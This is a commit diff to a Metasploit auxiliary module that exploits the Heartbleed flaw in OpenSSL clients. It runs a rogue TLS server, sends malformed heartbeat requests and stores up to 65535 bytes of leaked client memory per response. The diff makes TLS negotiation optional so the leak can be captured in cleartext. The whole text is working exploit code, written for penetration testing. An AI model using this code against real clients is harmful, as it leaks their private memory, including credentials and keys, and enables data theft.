Make TLS negotiation optional

modules/auxiliary/server/openssl_heartbeat_client_memory.rb

@@ -44,7 +44,8 @@ class Metasploit3 < Msf::Auxiliary
       [
         OptPort.new('SRVPORT',    [ true, "The local port to listen on.", 8443 ]),
         OptInt.new('HEARTBEAT_LIMIT', [true, "The number of kilobytes of data to capture at most from each client", 512]),
-        OptInt.new('HEARTBEAT_READ', [true, "The number of bytes to leak in the heartbeat response", 16384])
+        OptInt.new('HEARTBEAT_READ', [true, "The number of bytes to leak in the heartbeat response", 65535]),
+        OptBool.new('NEGOTIATE_TLS', [true, "Set this to true to negotiate TLS and often leak more data at the cost of CA validation", false])
       ], self.class)
   end
 
@@ -52,7 +53,7 @@ class Metasploit3 < Msf::Auxiliary
   def setup
     super
     @state    = {}
-    @cert_key = OpenSSL::PKey::RSA.new(1024){ }
+    @cert_key = OpenSSL::PKey::RSA.new(1024){ } if negotiate_tls?
   end
 
   # Setup the server module and start handling requests
@@ -71,6 +72,11 @@ class Metasploit3 < Msf::Auxiliary
     datastore['HEARTBEAT_LIMIT'].to_i * 1024
   end
 
+  # Determine whether we should negotiate TLS or not
+  def negotiate_tls?
+    !! datastore['NEGOTIATE_TLS']
+  end
+
   # Initialize a new state for every client
   def on_client_connect(c)
     @state[c] = {
@@ -165,11 +171,13 @@ class Metasploit3 < Msf::Auxiliary
       @state[c][:client_random]  = data[11,32]
       @state[c][:received_hello] = true
 
-      print_status("#{@state[c][:name]} Sending Server Hello and certificate...")
+      print_status("#{@state[c][:name]} Sending Server Hello...")
       openssl_send_server_hello(c, data)
       return
     end
 
+    # If we are negotiating TLS, handle Client Key Exchange/Change Cipher Spec
+    if negotiate_tls?
       # Process the Client Key Exchange
       if message_type == 0x16 and data.length > 11 and message_code == 0x10
         print_status("#{@state[c][:name]} Processing Client Key Exchange...")
@@ -191,7 +199,26 @@ class Metasploit3 < Msf::Auxiliary
         initialize_encryption_keys(c)
         return
       end
+    # Otherwise just start capturing heartbeats in clear-text mode
+    else
+      # Send heartbeat requests
+      if @state[c][:heartbeats].length < heartbeat_limit
+        openssl_send_heartbeat(c)
+      end
 
+      # Process cleartext heartbeat replies
+      if message_type == 0x18
+        vprint_status("#{@state[c][:name]} Heartbeat received (#{data.length-5} bytes) [#{@state[c][:heartbeats].length} bytes total]")
+        @state[c][:heartbeats] << data[5, data.length-5]
+      end
+
+      # Full up on heartbeats, disconnect the client
+      if @state[c][:heartbeats].length >= heartbeat_limit
+        print_status("#{@state[c][:name]} Heartbeats received [#{@state[c][:heartbeats].length} bytes total]")
+        store_captured_heartbeats(c)
+        c.close()
+      end
+    end
   end
 
   # Process encrypted TLS messages
@@ -290,6 +317,13 @@ class Metasploit3 < Msf::Auxiliary
     msg1 = "\x16\x03\x02" + [server_hello.length].pack("n") + server_hello
     c.put(msg1)
 
+    # Skip the rest of TLS if we arent negotiating it
+    unless negotiate_tls?
+      # Send a heartbeat request to start the stream and return
+      openssl_send_heartbeat(c)
+      return
+    end
+
     # Certificates
     certs_combined = generate_certificates
     pay2 = "\x0b" + [ certs_combined.length + 3 ].pack("N")[1, 3] + [ certs_combined.length ].pack("N")[1, 3] + certs_combined
@@ -355,7 +389,6 @@ class Metasploit3 < Msf::Auxiliary
     cert
   end
 
-
   # Decrypt the TLS message and return the result without the MAC
   def decrypt_data(c, data)
     return unless @state[c][:client_enc]